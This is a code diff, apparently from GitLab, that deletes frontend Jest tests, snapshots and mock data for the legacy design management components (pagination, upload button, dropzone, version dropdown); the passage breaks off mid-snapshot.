- it('does not render delete button on non-latest version', () => {
- createComponent(false, true, { isLatestVersion: false });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(DeleteButton).exists()).toBe(false);
- });
- });
-
- it('does not render delete button when user is not logged in', () => {
- createComponent(false, false);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(DeleteButton).exists()).toBe(false);
- });
- });
-
- it('emits `delete` event on deleteButton `deleteSelectedDesigns` event', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- wrapper.find(DeleteButton).vm.$emit('deleteSelectedDesigns');
- expect(wrapper.emitted().delete).toBeTruthy();
- });
- });
-
- it('renders download button with correct link', () => {
- expect(wrapper.find(GlDeprecatedButton).attributes('href')).toBe(
- '/-/designs/306/7f747adcd4693afadbe968d7ba7d983349b9012d',
- );
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/toolbar/pagination_button_spec.js b/spec/frontend/design_management_legacy/components/toolbar/pagination_button_spec.js
deleted file mode 100644
index d2153adca45..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/pagination_button_spec.js
+++ /dev/null
@@ -1,61 +0,0 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import VueRouter from 'vue-router';
-import PaginationButton from '~/design_management_legacy/components/toolbar/pagination_button.vue';
-import { DESIGN_ROUTE_NAME } from '~/design_management_legacy/router/constants';
-
-const localVue = createLocalVue();
-localVue.use(VueRouter);
-const router = new VueRouter();
-
-describe('Design management pagination button component', () => {
- let wrapper;
-
- function createComponent(design = null) {
- wrapper = shallowMount(PaginationButton, {
- localVue,
- router,
- propsData: {
- design,
- title: 'Test title',
- iconName: 'angle-right',
- },
- stubs: ['router-link'],
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('disables button when no design is passed', () => {
- createComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders router-link', () => {
- createComponent({ id: '2' });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('designLink', () => {
- it('returns empty link when design is null', () => {
- createComponent();
-
- expect(wrapper.vm.designLink).toEqual({});
- });
-
- it('returns design link', () => {
- createComponent({ id: '2', filename: 'test' });
-
- wrapper.vm.$router.replace('/root/test-project/issues/1/designs/test?version=1');
-
- expect(wrapper.vm.designLink).toEqual({
- name: DESIGN_ROUTE_NAME,
- params: { id: 'test' },
- query: { version: '1' },
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/toolbar/pagination_spec.js b/spec/frontend/design_management_legacy/components/toolbar/pagination_spec.js
deleted file mode 100644
index 21b55113a6e..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/pagination_spec.js
+++ /dev/null
@@ -1,79 +0,0 @@
-/* global Mousetrap */
-import 'mousetrap';
-import { shallowMount } from '@vue/test-utils';
-import Pagination from '~/design_management_legacy/components/toolbar/pagination.vue';
-import { DESIGN_ROUTE_NAME } from '~/design_management_legacy/router/constants';
-
-const push = jest.fn();
-const $router = {
- push,
-};
-
-const $route = {
- path: '/designs/design-2',
- query: {},
-};
-
-describe('Design management pagination component', () => {
- let wrapper;
-
- function createComponent() {
- wrapper = shallowMount(Pagination, {
- propsData: {
- id: '2',
- },
- mocks: {
- $router,
- $route,
- },
- });
- }
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('hides components when designs are empty', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders pagination buttons', () => {
- wrapper.setData({
- designs: [{ id: '1' }, { id: '2' }],
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('keyboard buttons navigation', () => {
- beforeEach(() => {
- wrapper.setData({
- designs: [{ filename: '1' }, { filename: '2' }, { filename: '3' }],
- });
- });
-
- it('routes to previous design on Left button', () => {
- Mousetrap.trigger('left');
- expect(push).toHaveBeenCalledWith({
- name: DESIGN_ROUTE_NAME,
- params: { id: '1' },
- query: {},
- });
- });
-
- it('routes to next design on Right button', () => {
- Mousetrap.trigger('right');
- expect(push).toHaveBeenCalledWith({
- name: DESIGN_ROUTE_NAME,
- params: { id: '3' },
- query: {},
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/upload/__snapshots__/button_spec.js.snap b/spec/frontend/design_management_legacy/components/upload/__snapshots__/button_spec.js.snap
deleted file mode 100644
index 27c0ba589e6..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/__snapshots__/button_spec.js.snap
+++ /dev/null
@@ -1,79 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management upload button component renders inverted upload design button 1`] = `
-<div
- isinverted="true"
->
- <gl-deprecated-button-stub
- size="md"
- title="Adding a design with the same filename replaces the file in a new version."
- variant="success"
- >
-
- Upload designs
-
- <!---->
- </gl-deprecated-button-stub>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-</div>
-`;
-
-exports[`Design management upload button component renders loading icon 1`] = `
-<div>
- <gl-deprecated-button-stub
- disabled="true"
- size="md"
- title="Adding a design with the same filename replaces the file in a new version."
- variant="success"
- >
-
- Upload designs
-
- <gl-loading-icon-stub
- class="ml-1"
- color="orange"
- inline="true"
- label="Loading"
- size="sm"
- />
- </gl-deprecated-button-stub>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-</div>
-`;
-
-exports[`Design management upload button component renders upload design button 1`] = `
-<div>
- <gl-deprecated-button-stub
- size="md"
- title="Adding a design with the same filename replaces the file in a new version."
- variant="success"
- >
-
- Upload designs
-
- <!---->
- </gl-deprecated-button-stub>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_dropzone_spec.js.snap b/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_dropzone_spec.js.snap
deleted file mode 100644
index 0737b9729a2..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_dropzone_spec.js.snap
+++ /dev/null
@@ -1,455 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management dropzone component when dragging renders correct template when drag event contains files 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style=""
- >
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style=""
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when dragging renders correct template when drag event contains files and text 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style=""
- >
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style=""
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when dragging renders correct template when drag event contains text 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style=""
- >
- <div
- class="mw-50 text-center"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when dragging renders correct template when drag event is empty 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style=""
- >
- <div
- class="mw-50 text-center"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when dragging renders correct template when dragging stops 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style="display: none;"
- >
- <div
- class="mw-50 text-center"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when no slot provided renders default dropzone card 1`] = `
-<div
- class="w-100 position-relative"
->
- <button
- class="card design-dropzone-card design-dropzone-border w-100 h-100 d-flex-center p-3"
- >
- <div
- class="d-flex-center flex-column text-center"
- >
- <gl-icon-stub
- class="mb-4"
- name="doc-new"
- size="48"
- />
-
- <p>
- <gl-sprintf-stub
- message="%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
- />
- </p>
- </div>
- </button>
-
- <input
- accept="image/*"
- class="hide"
- multiple="multiple"
- name="design_file"
- type="file"
- />
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style="display: none;"
- >
- <div
- class="mw-50 text-center"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
-
-exports[`Design management dropzone component when slot provided renders dropzone with slot content 1`] = `
-<div
- class="w-100 position-relative"
->
- <div>
- dropzone slot
- </div>
-
- <transition-stub
- name="design-dropzone-fade"
- >
- <div
- class="card design-dropzone-border design-dropzone-overlay w-100 h-100 position-absolute d-flex-center p-3 bg-white"
- style="display: none;"
- >
- <div
- class="mw-50 text-center"
- >
- <h3>
- Oh no!
- </h3>
-
- <span>
- You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico.
- </span>
- </div>
-
- <div
- class="mw-50 text-center"
- style="display: none;"
- >
- <h3>
- Incoming!
- </h3>
-
- <span>
- Drop your designs to start your upload.
- </span>
- </div>
- </div>
- </transition-stub>
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_version_dropdown_spec.js.snap b/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
deleted file mode 100644
index d34b925f33d..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
+++ /dev/null
@@ -1,111 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management design version dropdown component renders design version dropdown button 1`] = `
-<gl-deprecated-dropdown-stub
- class="design-version-dropdown"
- issueiid=""
- projectpath=""
- text="Showing Latest Version"
- variant="link"
->
- <gl-deprecated-dropdown-item-stub>
- <router-link-stub
- class="d-flex js-version-link"
- to="[object Object]"
- >
- <div
- class="flex-grow-1 ml-2"
- >
- <div>
- <strong>
- Version 2
-
- <span>
- (latest)
- </span>
- </strong>
- </div>
- </div>
-
- <i
- class="fa fa-check float-right gl-mr-2"
- />
- </router-link-stub>
- </gl-deprecated-dropdown-item-stub>
- <gl-deprecated-dropdown-item-stub>
- <router-link-stub
- class="d-flex js-version-link"
- to="[object Object]"
- >
- <div
- class="flex-grow-1 ml-2"
- >
- <div>
- <strong>
- Version 1
-
- <!---->
- </strong>
- </div>
- </div>
-
- <!---->
- </router-link-stub>
- </gl-deprecated-dropdown-item-stub>
-</gl-deprecated-dropdown-stub>
-`;
-
-exports[`Design management design version dropdown component renders design version list 1`] = `
-<gl-deprecated-dropdown-stub
- class="design-version-dropdown"
- issueiid=""
- projectpath=""
- text="Showing Latest Version"
- variant="link"
->
- <gl-deprecated-dropdown-item-stub>
- <router-link-stub
- class="d-flex js-version-link"
- to="[object Object]"
- >
- <div
- class="flex-grow-1 ml-2"
- >
- <div>
- <strong>
- Version 2
-
- <span>
- (latest)
- </span>
- </strong>
- </div>
- </div>
-
- <i
- class="fa fa-check float-right gl-mr-2"
- />
- </router-link-stub>
- </gl-deprecated-dropdown-item-stub>
- <gl-deprecated-dropdown-item-stub>
- <router-link-stub
- class="d-flex js-version-link"
- to="[object Object]"
- >
- <div
- class="flex-grow-1 ml-2"
- >
- <div>
- <strong>
- Version 1
-
- <!---->
- </strong>
- </div>
- </div>
-
- <!---->
- </router-link-stub>
- </gl-deprecated-dropdown-item-stub>
-</gl-deprecated-dropdown-stub>
-`;
diff --git a/spec/frontend/design_management_legacy/components/upload/button_spec.js b/spec/frontend/design_management_legacy/components/upload/button_spec.js
deleted file mode 100644
index dde5c694194..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/button_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import UploadButton from '~/design_management_legacy/components/upload/button.vue';
-
-describe('Design management upload button component', () => {
- let wrapper;
-
- function createComponent(isSaving = false, isInverted = false) {
- wrapper = shallowMount(UploadButton, {
- propsData: {
- isSaving,
- isInverted,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders upload design button', () => {
- createComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders inverted upload design button', () => {
- createComponent(false, true);
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders loading icon', () => {
- createComponent(true);
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('onFileUploadChange', () => {
- it('emits upload event', () => {
- createComponent();
-
- wrapper.vm.onFileUploadChange({ target: { files: 'test' } });
-
- expect(wrapper.emitted().upload[0]).toEqual(['test']);
- });
- });
-
- describe('openFileUpload', () => {
- it('triggers click on input', () => {
- createComponent();
-
- const clickSpy = jest.spyOn(wrapper.find('input').element, 'click');
-
- wrapper.vm.openFileUpload();
-
- expect(clickSpy).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/upload/design_dropzone_spec.js b/spec/frontend/design_management_legacy/components/upload/design_dropzone_spec.js
deleted file mode 100644
index 1907a3124a6..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/design_dropzone_spec.js
+++ /dev/null
@@ -1,132 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DesignDropzone from '~/design_management_legacy/components/upload/design_dropzone.vue';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-
-jest.mock('~/flash');
-
-describe('Design management dropzone component', () => {
- let wrapper;
-
- const mockDragEvent = ({ types = ['Files'], files = [] }) => {
- return { dataTransfer: { types, files } };
- };
-
- const findDropzoneCard = () => wrapper.find('.design-dropzone-card');
-
- function createComponent({ slots = {}, data = {} } = {}) {
- wrapper = shallowMount(DesignDropzone, {
- slots,
- data() {
- return data;
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when slot provided', () => {
- it('renders dropzone with slot content', () => {
- createComponent({
- slots: {
- default: ['<div>dropzone slot</div>'],
- },
- });
-
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('when no slot provided', () => {
- it('renders default dropzone card', () => {
- createComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('triggers click event on file input element when clicked', () => {
- createComponent();
- const clickSpy = jest.spyOn(wrapper.find('input').element, 'click');
-
- findDropzoneCard().trigger('click');
- expect(clickSpy).toHaveBeenCalled();
- });
- });
-
- describe('when dragging', () => {
- it.each`
- description | eventPayload
- ${'is empty'} | ${{}}
- ${'contains text'} | ${mockDragEvent({ types: ['text'] })}
- ${'contains files and text'} | ${mockDragEvent({ types: ['Files', 'text'] })}
- ${'contains files'} | ${mockDragEvent({ types: ['Files'] })}
- `('renders correct template when drag event $description', ({ eventPayload }) => {
- createComponent();
-
- wrapper.trigger('dragenter', eventPayload);
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders correct template when dragging stops', () => {
- createComponent();
-
- wrapper.trigger('dragenter');
- return wrapper.vm
- .$nextTick()
- .then(() => {
- wrapper.trigger('dragleave');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
- });
-
- describe('when dropping', () => {
- it('emits upload event', () => {
- createComponent();
- const mockFile = { name: 'test', type: 'image/jpg' };
- const mockEvent = mockDragEvent({ files: [mockFile] });
-
- wrapper.trigger('dragenter', mockEvent);
- return wrapper.vm
- .$nextTick()
- .then(() => {
- wrapper.trigger('drop', mockEvent);
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.emitted().change[0]).toEqual([[mockFile]]);
- });
- });
- });
-
- describe('ondrop', () => {
- const mockData = { dragCounter: 1, isDragDataValid: true };
-
- describe('when drag data is valid', () => {
- it('emits upload event for valid files', () => {
- createComponent({ data: mockData });
-
- const mockFile = { type: 'image/jpg' };
- const mockEvent = mockDragEvent({ files: [mockFile] });
-
- wrapper.vm.ondrop(mockEvent);
- expect(wrapper.emitted().change[0]).toEqual([[mockFile]]);
- });
-
- it('calls createFlash when files are invalid', () => {
- createComponent({ data: mockData });
-
- const mockEvent = mockDragEvent({ files: [{ type: 'audio/midi' }] });
-
- wrapper.vm.ondrop(mockEvent);
- expect(createFlash).toHaveBeenCalledTimes(1);
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/upload/design_version_dropdown_spec.js b/spec/frontend/design_management_legacy/components/upload/design_version_dropdown_spec.js
deleted file mode 100644
index 7fb85f357c7..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/design_version_dropdown_spec.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlDeprecatedDropdown, GlDeprecatedDropdownItem } from '@gitlab/ui';
-import DesignVersionDropdown from '~/design_management_legacy/components/upload/design_version_dropdown.vue';
-import mockAllVersions from './mock_data/all_versions';
-
-const LATEST_VERSION_ID = 3;
-const PREVIOUS_VERSION_ID = 2;
-
-const designRouteFactory = versionId => ({
- path: `/designs?version=${versionId}`,
- query: {
- version: `${versionId}`,
- },
-});
-
-const MOCK_ROUTE = {
- path: '/designs',
- query: {},
-};
-
-describe('Design management design version dropdown component', () => {
- let wrapper;
-
- function createComponent({ maxVersions = -1, $route = MOCK_ROUTE } = {}) {
- wrapper = shallowMount(DesignVersionDropdown, {
- propsData: {
- projectPath: '',
- issueIid: '',
- },
- mocks: {
- $route,
- },
- stubs: ['router-link'],
- });
-
- wrapper.setData({
- allVersions: maxVersions > -1 ? mockAllVersions.slice(0, maxVersions) : mockAllVersions,
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findVersionLink = index => wrapper.findAll('.js-version-link').at(index);
-
- it('renders design version dropdown button', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders design version list', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('selected version name', () => {
- it('has "latest" on most recent version item', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findVersionLink(0).text()).toContain('latest');
- });
- });
- });
-
- describe('versions list', () => {
- it('displays latest version text by default', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlDeprecatedDropdown).attributes('text')).toBe(
- 'Showing Latest Version',
- );
- });
- });
-
- it('displays latest version text when only 1 version is present', () => {
- createComponent({ maxVersions: 1 });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlDeprecatedDropdown).attributes('text')).toBe(
- 'Showing Latest Version',
- );
- });
- });
-
- it('displays version text when the current version is not the latest', () => {
- createComponent({ $route: designRouteFactory(PREVIOUS_VERSION_ID) });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlDeprecatedDropdown).attributes('text')).toBe(`Showing Version #1`);
- });
- });
-
- it('displays latest version text when the current version is the latest', () => {
- createComponent({ $route: designRouteFactory(LATEST_VERSION_ID) });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlDeprecatedDropdown).attributes('text')).toBe(
- 'Showing Latest Version',
- );
- });
- });
-
- it('should have the same length as apollo query', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.findAll(GlDeprecatedDropdownItem)).toHaveLength(
- wrapper.vm.allVersions.length,
- );
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/upload/mock_data/all_versions.js b/spec/frontend/design_management_legacy/components/upload/mock_data/all_versions.js
deleted file mode 100644
index e76bbd261bd..00000000000
--- a/spec/frontend/design_management_legacy/components/upload/mock_data/all_versions.js
+++ /dev/null
@@ -1,14 +0,0 @@
-export default [
- {
- node: {
- id: 'gid://gitlab/DesignManagement::Version/3',
- sha: '0945756378e0b1588b9dd40d5a6b99e8b7198f55',
- },
- },
- {
- node: {
- id: 'gid://gitlab/DesignManagement::Version/2',
- sha: '5b063fef0cd7213b312db65b30e24f057df21b20',
- },
- },
-];
diff --git a/spec/frontend/design_management_legacy/mock_data/all_versions.js b/spec/frontend/design_management_legacy/mock_data/all_versions.js
deleted file mode 100644
index c389fdb8747..00000000000
--- a/spec/frontend/design_management_legacy/mock_data/all_versions.js
+++ /dev/null
@@ -1,8 +0,0 @@
-export default [
- {
- node: {
- id: 'gid://gitlab/DesignManagement::Version/1',
- sha: 'b389071a06c153509e11da1f582005b316667001',
- },
- },
-];
diff --git a/spec/frontend/design_management_legacy/mock_data/design.js b/spec/frontend/design_management_legacy/mock_data/design.js
deleted file mode 100644
index 675198b9408..00000000000
--- a/spec/frontend/design_management_legacy/mock_data/design.js
+++ /dev/null
@@ -1,74 +0,0 @@
-export default {
- id: 'design-id',
- filename: 'test.jpg',
- fullPath: 'full-design-path',
- image: 'test.jpg',
- updatedAt: '01-01-2019',
- updatedBy: {
- name: 'test',
- },
- issue: {
- title: 'My precious issue',
- webPath: 'full-issue-path',
- webUrl: 'full-issue-url',
- participants: {
- edges: [
- {
- node: {
- name: 'Administrator',
- username: 'root',
- webUrl: 'link-to-author',
- avatarUrl: 'link-to-avatar',
- },
- },
- ],
- },
- },
- discussions: {
- nodes: [
- {
- id: 'discussion-id',
- replyId: 'discussion-reply-id',
- resolved: false,
- notes: {
- nodes: [
- {
- id: 'note-id',
- body: '123',
- author: {
- name: 'Administrator',
- username: 'root',
- webUrl: 'link-to-author',
- avatarUrl: 'link-to-avatar',
- },
- },
- ],
- },
- },
- {
- id: 'discussion-resolved',
- replyId: 'discussion-reply-resolved',
- resolved: true,
- notes: {
- nodes: [
- {
- id: 'note-resolved',
- body: '123',
- author: {
- name: 'Administrator',
- username: 'root',
- webUrl: 'link-to-author',
- avatarUrl: 'link-to-avatar',
- },
- },
- ],
- },
- },
- ],
- },
- diffRefs: {
- headSha: 'headSha',
- baseSha: 'baseSha',
- startSha: 'startSha',
- },
-};
diff --git a/spec/frontend/design_management_legacy/mock_data/designs.js b/spec/frontend/design_management_legacy/mock_data/designs.js
deleted file mode 100644
index 07f5c1b7457..00000000000
--- a/spec/frontend/design_management_legacy/mock_data/designs.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import design from './design';
-
-export default {
- project: {
- issue: {
- designCollection: {
- designs: {
- edges: [
- {
- node: design,
- },
- ],
- },
- },
- },
- },
-};
diff --git a/spec/frontend/design_management_legacy/mock_data/no_designs.js b/spec/frontend/design_management_legacy/mock_data/no_designs.js
deleted file mode 100644
index 9db0ffcade2..00000000000
--- a/spec/frontend/design_management_legacy/mock_data/no_designs.js
+++ /dev/null
@@ -1,11 +0,0 @@
-export default {
- project: {
- issue: {
- designCollection: {
- designs: {
- edges: [],
- },
- },
- },
- },
-};
diff --git a/spec/frontend/design_management_legacy/mock_data/notes.js b/spec/frontend/design_management_legacy/mock_data/notes.js
deleted file mode 100644
index 80cb3944786..00000000000
--- a/spec/frontend/design_management_legacy/mock_data/notes.js
+++ /dev/null
@@ -1,46 +0,0 @@
-export default [
- {
- id: 'note-id-1',
- index: 1,
- position: {
- height: 100,
- width: 100,
- x: 10,
- y: 15,
- },
- author: {
- name: 'John',
- webUrl: 'link-to-john-profile',
- },
- createdAt: '2020-05-08T07:10:45Z',
- userPermissions: {
- adminNote: true,
- },
- discussion: {
- id: 'discussion-id-1',
- },
- resolved: false,
- },
- {
- id: 'note-id-2',
- index: 2,
- position: {
- height: 50,
- width: 50,
- x: 25,
- y: 25,
- },
- author: {
- name: 'Mary',
- webUrl: 'link-to-mary-profile',
- },
- createdAt: '2020-05-08T07:10:45Z',
- userPermissions: {
- adminNote: true,
- },
- discussion: {
- id: 'discussion-id-2',
- },
- resolved: true,
- },
-];
diff --git a/spec/frontend/design_management_legacy/pages/__snapshots__/index_spec.js.snap b/spec/frontend/design_management_legacy/pages/__snapshots__/index_spec.js.snap
deleted file mode 100644
index 3ba63fd14f0..00000000000
--- a/spec/frontend/design_management_legacy/pages/__snapshots__/index_spec.js.snap
+++ /dev/null
@@ -1,263 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management index page designs does not render toolbar when there is no permission 1`] = `
-<div>
- <!---->
-
- <div
- class="mt-4"
- >
- <ol
- class="list-unstyled row"
- >
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub
- class="design-list-item"
- />
- </li>
-
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-1-name"
- id="design-1"
- image="design-1-image"
- notescount="0"
